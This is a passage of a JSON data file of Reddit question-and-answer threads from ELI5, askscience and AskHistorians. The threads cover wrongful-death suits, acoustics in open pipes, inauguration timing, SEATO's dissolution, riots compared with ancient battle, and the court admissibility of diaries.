they estate couldn't sue for their being killed -- if that was the case, the wrongdoer would be better off killing than injuring someone). ", "To prevent this: \"Most people agree that the hit-to-kill phenomenon stems at least in part from perverse laws on victim compensation. In China the compensation for killing a victim in a traffic accident is relatively small\u2014amounts typically range from $30,000 to $50,000\u2014and once payment is made, the matter is over. By contrast, paying for lifetime care for a disabled survivor can run into the millions. The Chinese press recently described how one disabled man received about $400,000 for the first 23 years of his care. Drivers who decide to hit-and-kill do so because killing is far more economical. Indeed, Zhao Xiao Cheng\u2014the man caught on a security camera video driving over a grandmother five times\u2014ended up paying only about $70,000 in compensation.\"\n\n_URL_0_", "Mark Geragos recently addressed this on the \"Reasonable Doubt\" podcast that discusses legal questions of the day, with respect to the crocodile that killed the toddler at Disney.\n\nHe described 2 causes of action.  The small one would be the loss of the child, because to OP's point, the child has no financial responsibilities, and no one suffers an economic loss due to the child's death.\n\nThe larger action would be around the fact that the parents saw this happen, the father fought the crocodile to no avail, and was injured in the process.  For this action the dollars could go much higher.  These parents have to be beyond devastated, and the amount of guilt the father will carry will be sizable (\"Could I have done more?  What if I gouged the croc's eyes?\").", "They did something wrong, and owe money for that. It does not go to the deceased's parents, it goes to the deceased's estate. In the event they do not have a spouse or children or a will naming a beneficiary, parents can be the next-of-kin and thus the beneficiaries. It makes perfect sense, otherwise the financial consequences of killing people would go DOWN as long as you managed to kill the whole family. Think about that for a moment, absurd. ", " >  My parents are not missing out on my income after my death, ...\n\nYou were an investment. Your parents put their money into you growing up and getting and education. They expected you to make money when you were older to pay for yourself. Perhaps, you could as well return the favour with time, love and happiness, money, gifts, somewhere to live, whatever. Because your parents' investment (in you) completely disappeared, they were basically scammed and thus should be rewarded. ", "A lot of other good points in this topic such as the danger of making it cheaper to kill than to maim and where legal burden lies, but also consider this. An animal's primary goal in the world is to create more animals, all creatures want to pass on their genetic code. By killing someone's child, you've robbed them of something that is immeasurably valuable, no amount of money makes them whole.\n\nAnd a faulty piece of equipment is just supposed to be shrugged off as \"shit happens\"? Seriously?", "Parents who lose young children aren't missing out on any income either.  It's not about opportunity cost, it's about pain and suffering.   Presumably your parents love you -- if you were killed wrongfully or negligently, their pain and suffering could have been avoided.   ", "I was actually just on a case that dealt with this! A mother and daughter were driving sitting at a light actually and were rear ended by a man going about 67 mph. The daughter died. She was 21, it's a case that deals with loss of her income potential and time that would have been spent with her.  It was a wrongful death and a lawyer is supposed to make a case for why they should get money. You can file a civil case for anything but your legal team has the responsibility to convince s judge and jury of why the case should be heard. It's America! ", "Death is not free. It involves funereal and other costs. Furthermore, for a parent, death of a child is extremely emotionally damaging. Wrongful death is a civil matter, and civil matters have to do with torts, aka \"wrongs,\" which is not limited to tangible damages. But, you can't award someone a big hug, usually the best you can do is to get money, which conceivably you may use to pay for psychology treatment, on top of funereal costs for the child's burial and what not, as well as the money you lost spending on the child that was taken from you (and at the risk of sounding mechanical, you could use that money towards raising another child). Furthermore, lawsuits alleging negligence or malfeasance often lead to \"punitive damages\" which are basically solely for the purpose of punishing the faulted party to discourage them from fucking up again.", "If you are wrongfully killed, *someone* has to be able to bring a claim for your wrongful death. It didn't always used to be that way. Under the common law, all tort claims died with you. You can imagine the moral hazards this caused. For example, if a doctor injured you during surgery, if you lived you could sue them, but if you died then so did your claim, meaning the doctor was financially incentivized to kill you. This is obviously a problem. \n\nIn order to alleviate that problem, states created survival statutes and wrongful death statutes which allow all your tort claims to pass to your next of kin (who are the same people the are entitled to whatever property you leave behind when you die). Under these statutes, tortfeasors are still called to account for their tortious actions against the deceased person. This eliminates the moral hazard mentioned above. ", "My background is I calculate this type of stuff in a litigation setting for my job.\n\nSo here's the thing, they actually do miss out on some of your income. Things like birthday/holiday gifts, the times you take them out to eat, not to mention (maybe not applicable in your particular case) any financial support you may have given them over your life. \n\nAdditionally, they are entitled to be compensated for the companionship you would have given them. Think about it for a second; when people get older but don't need constant, 24/7 care, you can hire someone, like an aid to help them around the house with tasks like cooking, yard work, carrying groceries, etc. The presumption is that you would provide these services to your parents. Those have a dollar value that can be calculated objectively. Also if you help them pay their bills as they age or just give advice, they may also be compensible. Some of it does depend on state law, so some states allow it and other don't. Even Federal law can vary depending on how the suit is filed or even where and how you die!\n\nThe other piece is a bit more \"squishy\", meaning I don't calculate the value of it. It's called hedonic damages and basically has to do with the emotional piece of it. So the emotional loss of not having their child etc. \n\nAlso, just note that when we calculate this type of stuff, we wouldn't calculate it over the course of your whole life, we'd be looking at your parents' statistical date of death and run the numbers through that. \n\nHAHA! Finally I know something for ELI5!!\n\n ", "The monetary damages aren't rewarded to try to make you feel whole again as other monetary damages are rewarded. Damages in this case are awarded to try to prevent from future similar accidents and cause manufacturers (or individuals) to take certain precautions in doing things. The higher the damages awarded the more precautions people tend to take. ", "Guy with a company car, previous DUI arrests, and a blood alcohol of .24 an hour after he killed my daughter. Damn right I sued him, the company, the bartender, and the bar. Lots of money doesn't do anything to change the outcome but that way, I didn't shoot anyone.", "\nAn important thing to note is that the parents/family members are not necessarily suing in their role of parents, but in the role of executor/trustee of the deceased's estate. ", "If in this car crash you were NOT killed, but injured at great cost to you, you could personally sue the people responsible. \nHowever, if you're dead, you can no longer sue. The law creates a perverse incentive to just kill people rather than leave them injured. \nWrongful death suits allow for next of kin to obtain damages on your behalf, because you can't... because you're dead.", "If the adult children are single, with no kids, then their parents are their heirs. So, they can open an estate and collect the deceased' property. Legal claims with some unknown value are a kind of property. \n\nBut, really, it's good for people and businesses to know if their negligence kills someone, they are likely to be exposed to liability and may have to part with money. Since money is what businesses exist to acquire, it makes killing people contrary to their best interests, even if they are run by bad people. So, people and businesses have an incentive to try and make the world a safer place.\n\nAlso, if parents lose their child, they do not feel some kind of, \"Oh well, shit happens.\" It ruins their lives. Compensating them for the loss is just. \n\nFinally, justice is supposed to be a system that brings some fairness into the world. It's constantly attacked by interests seeking unfair outcomes, but you kill somebody so you pay their heirs is a way to increase fairness in a society.", "There are two different concepts here. First, if you are injured and then die as a result of the accident, then there is a concept called a survivor action. Basically, your lawsuit doesn't go away if you die, and your beneficiaries or estate can pick up and continue the case on your behalf. They can sue as if they were you and can get all the usual damages (pain and suffering, medical bills, etc) that you would have been entitled to up until the point you died. The theory is that someone who did wrong (a torfeasor) shouldn't be better off because the victim died than if the victim survived. If you died instantly, then a survivor action would be fairly limited, as your pain and suffering, bills, etc. would be minimal.\n\nThe second concept is a wrongful death action. This is distinct from the survivor action and is designed to compensate a limited number of people for their own economic and emotional damages based on your death. They aren't suing on your behalf, but on their own behalf for damage to them resulting from your death. There are a slew of rules and cases about who can get emotional damages and in what circumstances that are beyond the question here, but it isn't a free for all.", "'Murican lawyer here who has defended against these cases daily for a decade.  Who is a \"proper plaintiff\" in a wrongful death suit is determined state-by-state.  Parents of deceased children are usually proper plaintiffs.  The thing they're suing for is the loss of love, affection, and companionship of the child.  Since courts can't bring the kid back, the only recourse the court can offer the grieving parent is money.  A parent will typically not be able to recover the child's lost income.  In making a decision, the jury gets to hear about how close the parent was to the kid.  To increase their jury awards, Plaintiffs try to make it seem like they were best friends.  The closer they were, the more money a jury will award.  If the parent sees the kid die, some states will allow the parents to sue for \"infliction of emotional distress\" to increase the award even more.\n\nAll that said, I totally agree with you.  This American idea that if someone dies, you have to look for someone to blame and then get a pile of money is ridiculous.  'Murica has this idea that everyone should at least have access to the courts, and if you have a legit claim, you should be able to recover for it.  You can't disagree with that.  But yeah, accidents do happen, and no, that's not a good reason to make someone pay hundreds of thousands of dollars (or more rarely, millions).  There's gotta be a limit."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], ["https://en.wikipedia.org/wiki/Ford_Pinto"], [], [], [], [], [], [], [], ["http://www.slate.com/articles/news_and_politics/foreigners/2015/09/why_drivers_in_china_intentionally_kill_the_pedestrians_they_hit_china_s.html"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "9kpw94", "title": "When a sound-wave travels in an open pipe, what reflects it back in order to form a standing wave?", "selftext": "I understand that in a closed pipe, the closed end reflects the sound-wave back and forms a standing wave, but there's no physical thing to reflect off in an open pipe. So how does it reflect?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/9kpw94/when_a_soundwave_travels_in_an_open_pipe_what/", "answers": {"a_id": ["e712sem", "e713kda"], "score": [12, 26], "text": ["Reflection occurs when there is a change of acoustic impedance. That impedance change can be caused by a change of the medium the wave is travelling in, e.g. from air to metal an the end of a closed metal pipe. But impedance also changes when there is a sudden change of diameter, even when the medium stays the same. At the end of an open pipe, the diameter suddenly changes from rather small (the diameter of the pipe) to virtually infinite (the boundaries of the environment in which the pipe is placed). This means there is a sharp change in acoustic impedance at the transition from pipe to environment, which causes some of the acoustic energy to be reflected back into the pipe.\n\nYou can lessen this effect by changing the pipe diameter gradually instead of apruptly, which is why most subwoofers are ['horn-loaded'](_URL_0_) for impedance-matching between inside and outside.", "When inside, the sound wave is exerting a pressure on the inner wall of the pipe. As the compression wave reaches the open air, that pressure causes the air particles to overshoot the end of the pipe sightly. This creates a low pressure area inside the pipe which sucks air back in, creating another wave that propogates back in the opposite direction.  \nThe resultant wave is considered to originate slightly beyond the end of the pipe."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Horn_loudspeaker"], []]}
{"q_id": "6b5m2p", "title": "why are the french able to inaugurate their elected president a week after the election, but the united states doesn't inaugurate their president until months later?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6b5m2p/eli5_why_are_the_french_able_to_inaugurate_their/", "answers": {"a_id": ["dhjxfnf", "dhjzorl", "dhk359x", "dhk3uuu"], "score": [25, 2, 11, 2], "text": ["The US uses the electoral college, so technically there's an entire election that has to occur after the first election.  The US also has 4-5 times the population size, and because it's divided into 50 different, individual races, there are more opportunities for disputes and recounts.  \n\nIn practice, though, a lot of it's just a matter of what the rules say.  The US Consitution says when elections take place and when the inauguration takes place.  If the inauguration was written to be a few weeks earlier, the president would simply take office a little bit earlier without issue. ", "Election Day isn't when the President is elected. Voters vote for a party who nominate electors for the state, who then vote for president. This does not happen immediately, there is period between Election Day and the meeting of the electoral college during which candidates can request recounts and file law suits over results. Then the electoral college votes, and then later on the votes are read to a joint session of congress, at which point the president is officially elected and can be sworn in. Unless there is a tie, in which case the House of Representatives votes for President and the Senate votes for Vice President.", "The French presidential electoral system was designed in the late 20th century. The US presidential electoral system was designed in the 18th century, although updated a bit in the early 20th. Communication and transport massively improved in the interim.\n\nChanging the time frame in the USA would require a constitutional amendment, which is a huge undertaking, and ultimately there is not the political will for such an action.\n\nEdit: The 20th amendment brought the inauguration forward from March to January in 1933, still significantly before the modern French presidency.", "Originally, the President didn't take office until March, so the problem used to be worse.   The Constitution was modified by the 20th Amendment to move the date.  Because the dates of the Election and the Inauguration are specified in the Constitution, they can only be changed by Amending it, which is incredibly difficult.\n\nThere is no practical reason that it couldn't happen sooner, although the break does allow the incoming administration time to transition from campaigning to actually assembling a government, naming new appointees, etc."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "3xoa3x", "title": "how does itunes coordinate text and background colours to our songs and playlists?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3xoa3x/eli5_how_does_itunes_coordinate_text_and/", "answers": {"a_id": ["cy6lgn8"], "score": [3], "text": ["Process the image as just an array of rgb colors.  You then quantize them and pick the top most used colors."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "88qdtd", "title": "[Medicine] Why are needles still widely used for injections when jet injectors (needleless injection guns) have been around for a long time?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/88qdtd/medicine_why_are_needles_still_widely_used_for/", "answers": {"a_id": ["dwnfyav"], "score": [5], "text": ["The copy-paste from (I assume) wikipedia covers it pretty well. But, I'll add that hypodermic needles/syringes are cheaper. That added with the fact medical professionals are taught to use them, makes it cost preventable to use the jet injectors. It's also easier to ensure proper dosages. A similar issue with dosages is why some labs use the manual micropipettes instead of the automatic ones (the variance is lower if you know how to use a manual one properly)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2dr98x", "title": "Is there a difference between your right eye and left eye? If you need a transplant for your right eye, can you only take right eyes from donors?", "selftext": "Alternatively: If you surgically swapped your right and left eyes, would you see normally?\n\nEDIT: I'm using \"eye\" here interchangeably with \"cornea\" for simplicity", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2dr98x/is_there_a_difference_between_your_right_eye_and/", "answers": {"a_id": ["cjsbg0m", "cjsmz0l"], "score": [1016, 50], "text": ["For transplant purposes both corneas are identical in curvature and have the same dioptric power (roughly). They do not focus light any differently (i.e. left skewed or right skewed). While the musculature and lacrimal system are mirrored the globes themselves are identical. As it stands now there is not a way to transplant a whole globe but if you were able to reattach all the musculature and the optic nerve your vision would remain the same as would your ocular dominance (left eyed vs right eyed)", "Question, my color vision is different between my two eyes.  Like I see more blue/green in one than the other.  Not enough to fail a colorblindness exam, but it always bothered me a bit.  Is this normal?  None of the eye doctors I've asked seem to care or know what I'm talking about.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "37ylzz", "title": "what is the difference chemically between substances that melt and substances that don't? like plastics and glass melt but wood does not.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/37ylzz/eli5_what_is_the_difference_chemically_between/", "answers": {"a_id": ["crququq", "crquqz1", "crquvpd"], "score": [3, 5, 7], "text": ["The difference is not actually chemically but actually structural. Wood is made up of xylem and phloem which structurally helps it to burn easy because they are vertical and horizontal in nature. Whereas, glass and plastics have a ring based chemical structure which prevents combustion at lower temperatures for the most part and provides the melting effect. It takes a great deal of energy (heat) to break these rings and cause combustion.", "There are four kinds of solids: Metals, Ceramics, Polymers and Composites. Metals and Ceramics have unique melting points and some polymers (like thermoplastics) melt , whereas others (like thermosets) don't. Wood is a composite material, so it contains lots of different things each with their own unique melting point. In theory you could watch wood melt if you heated it gradually, however the heat provided causes the materials in wood to react with oxygen in the air and burn.", "Melting and burning are two different types of processes. Melting is a physical process where the molecules in a substance are rearranged but remain the same. Burning is a chemical process that actually changes or breaks down the molecules of the substance into different molecules. Most of these chemical reactions are redox (reduction-oxidation) reactions in which some element like oxygen bonds to the molecules creating new molecules.\n\nDifferent molecules are more or less stable and more or less susceptible to various chemical reactions. The more \"stable\" they are the more energy (heat) is required to force them into a chemical reaction. This amount of energy is called activation energy. If you apply heat to a substance and it has a high activation energy, meaning it will take a lot of heat to kick off a redox reaction like burning, then it will probably melt before it reaches a temperature at which it will start to burn. If it has a relatively low activation energy to kick of the reaction, then it will burn before it reaches a temperature that would liquefy it.\n\nAlso, certain substances just aren't very chemically reactive with oxidizers, like water for instance, so you won't see it burn and instead it will just transition from solid to liquid to gas."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "5poii7", "title": "I've seen/heard the comment a few times that modern rioters vs police can give a small sense of what ancient warfare was like. How much truth is there in that?", "selftext": "Some reference images: \n\n[1](_URL_3_)\n\n[2](_URL_2_)\n\n[3](_URL_0_)\n\n[4](_URL_1_)\n\nI've never seen anyone claim these are an exact representation but is there anything to learn here about ancient battles? \n\nEdit: What I'm mostly getting at is the images that are often conjured up of organized Greeks or Romans against \"barbarian hordes\" and how that doesn't really square with the fact that the Romans or Greeks often found these societies formidable. Or the idea of these clashes instantly dissolving into chaotic individual melee. Or ranks of men smashing into one another at a full sprint. \n\nCan any lessons be gleaned whatever from modern confrontations without massive employment of firearms? Or is it just way too much a case of apples and oranges? \n\n\nEdit: Thanks to everyone in the thread ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5poii7/ive_seenheard_the_comment_a_few_times_that_modern/", "answers": {"a_id": ["dcu54yo", "dcu7uiv"], "score": [19, 15], "text": ["Okay, so, a few deleted posts here that had some more or less good information. Hopefully, by providing a few sources, I'll manage to answer your question and not end up with my post deleted.\n\nFirst off, before we judge whether or not riots can be compared to ancient and medieval warfare, we need to look at what the arguments actually are, undistorted by repetition on the internet.\n\nOne of the first examples of where a riot has influenced the opinion of a riot occurs in John Keegan's *The Face of Battle*, the \"Infantry versus Infantry\" portion of his account of Agincourt. In this section, Keegan compares the frightened charge of a police horse towards police lines during the Grosvenor Square demonstration in 1968 with the involuntary and uncontrolled flight of the French cavalry away from the English lines during the first stage of the battle^1. \n\nHere, Keegan isn't comparing an entire infantry battle to a riot, but only a specific phase of it. He suggests that the way in which the demonstrators moved aside for the horse and the way in which ripples of force moved through the crowd demonstrate what it must have been like for the French men-at-arms charged by their own horsemen.\n\nThe only other source that I've been able to find that uses riots as an example is Philip Sabin's *The Face of Roman Battle*, although I know I've seen reference to other studies that have used riots in more detail. Sabin, again, doesn't use riots as a way of illuminating all ancient and medieval infantry combat, but only a single aspect of it. Sabin suggests that similarity is the stand off between rioters and police with both sides standing off and trading insults, and only a few individuals going out to do battle before retreating, followed by a final charge that causes one side or the other to give way^2.\n\nAs you can see, the two authors I've been able to find who have compared ancient and medieval fighting to riots, haven't actually compared the entire battle to a riot, but to aspects of it.\n\nSo, then, to what extent can a riot be compared with an ancient medieval battle?\n\nWell, they can't be entirely compared, as mostly only one side is well armed and armored. For another, the numbers killed are very low and there isn't too great a desire on either side to kill the other (although [exceptions](_URL_4_) [exist](_URL_5_) ). \n\nOn the other hand, while there might not be fear of dying, there is certainly the fear of pain or injury. You can see the rioters who charged the police at the Grosvenor riots cringe back and retreat under the flurry of blows given out by the police [here](_URL_7_), and in [this](_URL_6_) video we see quite heavily armed rioters constantly retreating in the face of a weak advance by South Korean riot police. The example of the Sanrizuka riots, in particular, are instructive, because even though the rioters are well armed, organised and have considerable motivation to break the police lines, they do not continuously press their attack, as those authors who reject the \"pulse\" theory of warfare suggest they should.\n\nThe other riots, though, are more indicative of the mode of warfare suggested by Sabin in *The Face of Roman Battle* and expanded on in *The Mechanics of Battle in the Second Punic War*^3. That is to say, long periods of stand off, and the exchange of missiles, followed by a few brief moments of fighting and then mutual withdrawal as the two sides exhausted themselves. Alexander Zhmodikov supports this position and adds that sometime the charge would cause the other side to break and run, noting that Livy records multiple instances of one side breaking and running at the first charge^4 . Infantry breaking at the first charge was noted by Colonel Ardant du Picq as common in the 19th century^5, and also by Keegan in *The Face of Battle* at Waterloo. Armour, not doubt, would have helped with morale^6, but at the same time morale, fear and discipline would have played roles as well.\n\nTL:DR: Riots provide some insight into how fear can influence the course of a battle and how it is conducted, but the typically non-lethal nature of them does limit their usefulness.\n\n*****\n^1 Keegan, John, *The Face of Battle*, p97, Penguin Books (1978)\n\n^2 Sabin, Philip. \u201cThe Face of Roman Battle.\u201d The Journal of Roman Studies, vol. 90, 2000, pp. 1\u201317. _URL_3_.\n\n^3 Sabin, Philip. \u201cThe Mechanics of Battle in the Second Punic War.\u201d Bulletin of the Institute of Classical Studies. Supplement, no. 67, 1996, pp. 59\u201379. _URL_2_.\n\n^4 Alexander Zhmodikov. \u201cRoman Republican Heavy Infantrymen in Battle (IV-II Centuries B.C.).\u201d Historia: Zeitschrift F\u00fcr Alte Geschichte, vol. 49, no. 1, 2000, pp. 67\u201378. _URL_1_.\n\n^5 du Piqc, Ardant, \"Battle Studies: Ancient and Modern Battle\", Part II, Chapter II, _URL_0_\n\n^6 Verbruggen, J.F. \"The Art of Warfare in the Western Europe During the Middle Ages\", p37-44 Boydell Press (1997); Strickland, Matthew, \"The Great Warbow\", p75, Sutton Publishing ltd (2005)", "There are a lot of useful points in u/Hergrim's post, but they still don't mention the actual instances where this argument has cropped up in scholarship on ancient warfare. Specifically, the scholars that have used evidence from riots and riot police tactics to explain ancient battles are these:\n\n* A. Schwartz, *Reinstating the Hoplite: Arms, Armour and Phalanx Fighting in Archaic and Classical Greece* (2009), 162-200, used the testimony of the Copenhagen riot police to illuminate what it is like to fight in tight formation with large shields.\n\n* J.E. Lendon, *Song of Wrath: The Peloponnesian War Begins* (2010), 307-313, used videos of riots in South Korea and Japan in the 1970s and 1980s to show the mechanics of mass pushing in dense crowds.\n\n* P.M. Bardunias, 'Storm of spears and press of shields: the mechanics of hoplite battle', *Ancient Warfare Special: Marathon* (2011), 60-68, used videos of Russian football hooligans to show how battle may change from an exchange of blows to a mass shove, and how dense crowds of warriors respond to one another.\n\nNotably none of these studies suggest that the carefully drilled formations and tactics of modern riot police have any bearing on those of the ancient Greeks. They shouldn't; one of the things that forcefully invalidates Schwartz' conclusions is that they rely on extensive training, which nothing suggests the Greeks received. Instead, they use modern riots as our closest proxy to the mechanics of massed infantry combat, where individual fighting may locally and temporarily dissolve into the collective movement of large groups, *without* necessarily resulting in people being trampled or crushed, as in a stampede. As such, this evidence is generally used to prove the reality of literal *othismos* (pushing) in hoplite battles.\n\nThere are various reasons why this may not be as compelling an argument as they would like, which are covered in u/Hergrim's post. The sheer bulk of hoplite equipment makes literal shoving rather difficult, and while of course the exponents of the literal model have nifty solutions for this (and Bardunias argues that the hoplite shield was specifically designed for this), such theories are no more than speculation. The lack of direct evidence for the mass shove, or for any descriptions of it in art or tragedy, is worrying - especially since the use of mass explicitly *was* considered a factor in the pike phalanx of the Hellenistic period."]}, "title_urls": [], "selftext_urls": ["http://i2.cdn.turner.com/cnn/dam/assets/140218120621-02-ukraine-0218-horizontal-gallery.jpg", "http://media.boreme.com/post_media/2008/police-detain-cat.jpg", "http://i2.cdn.turner.com/cnn/dam/assets/131211153747-05-ukraine-1211-horizontal-gallery.jpg", "http://15minutes.gr/wp-content/uploads/2016/02/agrotes-mat.jpg"], "answers_urls": [["http://www.gutenberg.org/files/7294/7294-h/7294-h.htm", "www.jstor.org/stable/4436566", "www.jstor.org/stable/43767903", "www.jstor.org/stable/300198", "https://youtu.be/eXjd7GkHKfU?t=3m24s", "https://youtu.be/IeFS6S06w8c?t=4m6s", "https://youtu.be/efxr4F8vMqg", "https://youtu.be/TLRL6qYSDuI?t=2m3s"], []]}
{"q_id": "5hqafi", "title": "SEATO was Southeast Asia's answer to NATO. But it dissolved in 1977, when the Cold War was as very much alive. Why didn't the alliance last longer?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5hqafi/seato_was_southeast_asias_answer_to_nato_but_it/", "answers": {"a_id": ["db35nm1", "db3668d"], "score": [2, 9], "text": ["First, the US still considers the mutual defense aspect of the treaty alive. In addition to other US treaties, this only additionally binds the US to Thailand in regards to defense, but also includes the UK, Australia, New Zealand, France, and the Philippines. \n\nIt dissolved because it was ineffective. Its primary goal throughout its existence was to protect South Vietnam and Laos (who weren't allowed to join the alliance) from Communist expansion, but failed in both regards. With those failures, the withdrawal of Pakistan due to the independence of Bangladesh, and general disinterest among many of the members, SEATO agreed to dissolve itself because there wasn't really a reason for it to exist. The states of former Indochina had already fallen to communism. The US and UK took active roles suppressing communist insurgencies in Indonesia, Malaysia, and the Philippines without the need to appeal to a larger treaty organization. Thailand was still given security guarantees by the US. Also, with Nixon going to China, there was less threat of an overarching Communist bloc forming in East Asia as the Sino Soviet split was solidified. This eased Western concerns regarding further communist expansion in SE Asia.\n\nIn general, it didn't last longer because it failed at what it was supposed to do and internal dissent broke it apart.", "Well the first thing we have to examine here is that although they may be superficially equivalent in theory, SEATO actually had some key practical differences that really meant that comparing the two has challenges associated with it.\n\nFor a start, NATO was a mechanism used by senior partners as a bulkwark against the USSR and as such was well resourced and committed to from a practical military perspective pretty much from the get-go. \n\nRecently deceased Australian military historian Jeffrey Grey almost paints SEATO as the opposite - a mechanism used by junior partners to compel senior partners in a similar venture to act as a bulwark against communist nations and interests by exploiting the political will of some senior ex-colonial partners to remain in Asia (such as the UK and France) or outright trying to rope the US into acting as a security guarantor (in the case of the US) in that capacity for the benefit of the alliance's junior partners such as Australia, New Zealand, Thailand, Pakistan, the Philippines, (the Kingdom of) Laos, Cambodia and the then Republic of Vietnam. In that situation that critical commitment is less likely to be (and was proven to not be) forthcoming.\n\nThis is possibly a little cynical on Grey's part, considering John Dulles' involvement with creating SEATO, but his cynicism is understandable, given his focus on the amount of concern raised in the US Congress about it (the Senate vote was notably in favour of it) and that smaller nations with smaller defence budgets arguably had more to gain from having others underwrite their security than the US, Britain and France had in having local junior partners to help implement policy (especially since more than one of those member states were dealing with communist insurgencies during the period SEATO was active).\n\nAlmost immediately after the creation of SEATO Headquarters in Bangkok in 1956, the US made it clear that no formal military commitment to that command would be forthcoming. This not only hindered operational viability, but it also constrained planning for obvious reasons (as you can't plan with military assets you don't have) by that headquarters.\n\nCountries like Australia and New Zealand were already, quite separately from SEATO, contributing to a British Commonwealth strategic reserve, but this was primarily for forward defence of Commonwealth and Imperial interests more generally, with providing a counter to communism as an afterthought; Grey notes that Australian prime minister Robert Menzies use of SEATO as a pre-text for deploying Australian forces to what was then British Malaya in the mid-1950's didn't really qualify as a SEATO commitment because Malaya was not a sovereign nation at the time (and Malaysia once formed was not a SEATO member in any case, which was why the Strategic Reserve was not formally used in Malaysia in the mid 1960's, even if member state forces did provide commitments in Malaysia at that time).\n\nSo from the above examples we can also see that SEATO was, far from being a cornerstone of a strategic imperative, not really taken seriously even by the nations that may benefit most from it - it was not invoked as a treaty organisation and used to intervene either in Laos or in Vietnam, with intervention in both countries occurring unilaterally by various parties.\n\nThis lack of meaningful commitment would ultimately translate into practical withdrawal as both the UK and France scaled back their commitments in South East Asia in the mid 1970's as their post-colonial interests there shrank. That contributed to Australia and New Zealand's own review of their strategic postures on forward defence, especially in light of budgetary pressures.\n\nSEATO essentially became a club no one was interested in being a part of, and only some members were only interested in it on a cursory basis in the first place, if that.\n\nSOURCES:\n\nGrey, Jeffery - 2008 - *A Military History of Australia (3rd Edition)* \n\nBlaxland, John - 2006 - *Strategic Cousins*"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "kn0ym", "title": "Tesla's Scalar Waves, what is it and is it really possible.", "selftext": "Hi r/askscience,\n\nI was reading about scalar waves theory and how it could be revolutionary but I got completely lost when DNA came into play. Please help me understand yet another of Tesla's borderline insane theory.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/kn0ym/teslas_scalar_waves_what_is_it_and_is_it_really/", "answers": {"a_id": ["c2lkgh6", "c2llicp", "c2lkgh6", "c2llicp"], "score": [4, 5, 4, 5], "text": ["I'm not sure what you're referring to, can you link us to a source you read?", "Pretty much anything that has the name \"Tom Bearden\" attached to it anywhere is going to be nut ball fringe pseudo-science. His \"PhD\" degree was bought from a diploma mill.\n\n_URL_0_", "I'm not sure what you're referring to, can you link us to a source you read?", "Pretty much anything that has the name \"Tom Bearden\" attached to it anywhere is going to be nut ball fringe pseudo-science. His \"PhD\" degree was bought from a diploma mill.\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.nuscam.com/pdf/case_study.pdf"], [], ["http://www.nuscam.com/pdf/case_study.pdf"]]}
{"q_id": "5lvohu", "title": "when hyperinflation occurs, are people with fixed interest loans or fixed interest mortgages able to pay off their debt without any issues?", "selftext": "Just wondering if hyperinflation is the answer to all my problems.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5lvohu/eli5_when_hyperinflation_occurs_are_people_with/", "answers": {"a_id": ["dbytjh6"], "score": [7], "text": ["Well it would be easier to pay off your fixed-rate mortgage, assuming the bank didn't go under. Granted your immediate problems, such as securing and affording food and medicine would be much more immediate. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "826cyb", "title": "in a court of law, why are diaries of the accused admissible? isn't that just a form of being forced to testify against yourself?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/826cyb/eli5_in_a_court_of_law_why_are_diaries_of_the/", "answers": {"a_id": ["dv7pq8e", "dv7q1y1", "dv7s8ty", "dv7sprj", "dv7voh1", "dv7wvss", "dv7ww7u", "dv7xyfl", "dv7yn0t", "dv7z5l3", "dv8066z", "dv81r8d", "dv827k1", "dv82r3d", "dv834rl", "dv838h4", "dv83ewb", "dv83ho1", "dv83tnc", "dv84hqp", "dv84vc3", "dv84vtz", "dv85o5h", "dv85r97", "dv8776g", "dv87dqw", "dv8eeri", "dv8yedz", "dv93tii", "dv97ljz", "dv9e3en", "dv9jwhx"], "score": [8098, 177, 7, 1531, 57, 360, 23, 4, 3, 3, 8, 6, 19, 17, 2, 8, 2, 2, 2, 2, 2, 16, 2, 4, 2, 2, 2, 2, 2, 2, 3, 2], "text": ["The production of the diary is considered voluntary testimony; you can't force someone to make statements, written or verbal, but if they choose to do so themselves they can be entered as evidence. The prohibition of forced incrimination doesn't mean someone can't do it themselves.", "Being forced to testify against yourself means they forced you to make the admission, either verbal or written.\n\nIf you've already written it down, voluntarily, then you weren't forced to testify against yourself. At that point it's just evidence.", "It\u2019s a complicated issue; generally, the rule is that it isn\u2019t forced testimony to offer a prior writing. The exception is if you make the defendant give it over; in that case\u2014because it can be presumed from the act of giving it over that the defendant is testifying that it is accurate, authentic, and that the defendant knew where and what it was\u2014the defendant can usually only be required to give it over if he or she is granted immunity from the use of the information that he or she gave it over.", "When is something a private diary and when is it documentation of a crime? A note to yourself to pay for the 300 kilos of cocaine? A blueprint of your plans to kill someone? The real ledger documenting money laundering? Or that pink floral book where you write about your teenager crush of someone in that boy band?\n\nThe point being they are all written documentation of a crime. \n\nNobody cares that I have a crush on Victoria Justice,  a court would care about my plans to take over the world by sneezing in the general direction of the White House.", 